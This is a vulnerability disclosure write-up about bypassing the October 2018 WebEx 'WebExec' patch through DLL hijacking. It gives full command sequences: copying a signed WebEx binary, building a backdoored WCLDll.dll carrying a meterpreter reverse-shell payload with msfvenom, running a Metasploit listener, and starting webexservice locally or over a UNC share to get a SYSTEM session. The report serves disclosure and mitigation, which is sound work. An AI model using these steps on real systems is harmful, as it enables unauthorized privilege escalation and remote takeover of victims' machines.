# Introduction

I (Ron Bowes) discovered a flaw in the WebEx patch that fixed the remote service execution vulnerability that we dubbed "WebExec". This document will outline our new attack methodology.

The October/2018 patch for WebEx attempted to fix the remote service startup vulnerability dubbed "WebExec" by ensuring that every binary executed is both a) named ptupdate.exe, and b) signed by WebEx. We didn't believe this would be sufficient, since it still leaves open a great deal of attack surface. As such, we assessed the new version to determine whether we could find any further vulnerabilities.

As before, we will wait up to 90 days before public disclosure.

# Summary

The summary of our new attack is that we hijack a WebEx-signed service's DLL. While WebEx will only load an EXE file signed by WebEx, replacing a DLL file is still allowed.

Note that this is not an attack against a specific WebEx binary - any EXE will try to load DLLs from its current directory. As such, we can simply move any EXE to a new directory, replace any of its DLL imports, and start the service just like before.

# Attack steps - local privilege escalation

This attack is, unfortunately, rather complicated and not at all automated (yet). The following steps will demonstrate a local privilege escalation attack. The next section will cover a remote attack, although it requires some set up.

Step 1: Install the most recent version of WebEx client (same as before) - I'm using the October/2018 patch (version 3306.0.1809.2900).

Step 2: Copy PTIM.exe into its own folder, and rename it to ptupdate.exe. Note that there's no reason I chose PTIM.exe over the other EXE files signed by WebEx - I chose it because it's the first one I checked that had an import.

```
C:\>mkdir c:\temp\webexec2
C:\>copy "c:\Program Files
(x86)\Webex\Webex\Applications\PTIM.exe"
"c:\temp\webexec2\ptupdate.exe"
```

```
        1 file(s) copied.
```

3. Copy all of its dependencies except for WCLDll.dll to the new folder (there might be a WebEx-signed application where there is only one dependency, which would be easier, but I haven't looked):

```
C:\>copy "c:\Program Files (x86)\Webex\Webex\Applications\msvcp140.dll" c:\temp\webexec2\
        1 file(s) copied.

C:\>copy "c:\Program Files (x86)\Webex\Webex\Applications\vcruntime140.dll" c:\temp\webexec2\
        1 file(s) copied.
```

4. Use msfvenom to create a backdoored version of WCLDll.dll based on a template that I created. This is a bit complicated - I'm attaching an archive containing a Visual Studio project that'll generate a template, including a pre-compiled template that we'll use in the example. The commands are (on Linux with Metasploit installed):

```
metasploit-framework$ tar -xjf WCLDll_template.tar.bz2
metasploit-framework$ ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.11 -f dll -o /mnt/z/WCLDll.dll -x ./WCLDll_template/Release/WCLDll_template.dll
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 44544 bytes
Saved as: WCLDll.dll
```

5. Move that backdoored WCLDll.dll file to the same folder as PTIM.exe / ptupdate.exe (z:\ refers to a drive I share between the Linux/Metasploit VM and the Windows target)

```
C:\>move z:\WCLDll.dll c:\temp\webexec2
        1 file(s) moved.
```

6. Start a metasploit listener/handler on the ip used for the payload (192.168.56.11 is my metasploit installation)

```
metasploit-framework$ ./msfconsole
[...]
msf5 > use multi/handler
```

```
msf5 exploit(multi/handler) > set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.56.11
LHOST => 192.168.56.11
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.11:4444
```

7. Start webexservice (as a limited user still works) and point to the folder that we put ptupdate.exe in (it takes ~10 seconds to start, not sure why)

```
C:\>sc start webexservice a software-update 1 c:\temp\webexec2\

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 1796
        FLAGS              :
```

8. You should see a Meterpreter session on 192.168.56.11

```
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.11:4444
[*] Sending stage (179779 bytes) to 192.168.56.105

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

# Remote attack

Attacking this remotely means starting the service remotely (like the previous version), and putting the backdoord DLL and its associated executable on a \\UNC\style network path.

The setup is the same as before - install WebEx on the target, as normal, and create the same directory with the backdoored WCLDll.dll file, but the c:\temp\webexec2\ directory from before must be in an unauthenticated shared folder.

In more detail...

1. Create an anonymously-readable network share based on that folder (you'll also have to disable logins on Windows, or use a SMB server that doesn't make logins mandatory - the easiest way is to use a fileshare that the target already has mounted, though)

```
C:\>net share webexec2=c:\temp\webexec2 /grant:everyone,read
webexec2 was shared successfully.
```

2. Create a session from the attacker to the target (this is no different from the previous attack)

```
C:\>net use /user:testuser \\192.168.56.105
The password or user name is invalid for \\192.168.56.105.

Enter the password for 'testuser' to connect to '192.168.56.105':
The command completed successfully.
```

4. Start the service, pointing to your UNC path (ensuring that the Metasploit handler is running)

```
C:\>sc \\192.168.56.105 start webexservice a software-update 1
\\192.168.56.103\webexec2\

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE,
ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 796
        FLAGS              :
```

5. You should once again see the session

```
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.11:4444
```

```
[*] Sending stage (179779 bytes) to 192.168.56.105

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

# Conclusion

At its core, validating binary signatures is not sufficient protection. This demonstrates why by using DLL hijacking as a vector, but we didn't even dig into the 8+ WebEx applications that call CreateProcess() already, nor did we validate whether the full certificate chain is validated, nor did we look for old WebEx-signed binaries with vulnerabilities that we could leverage (since signatures can't be revoked).

We once again recommend restricting permissions to only administrative or logged-in users can start the service.

Another option would be to force ptUpdate.exe to be in the same folder as WebExService.exe. That would force us to find vulnerabilities in ptUpdate.exe, which still leaves some attack surface, but much, much less.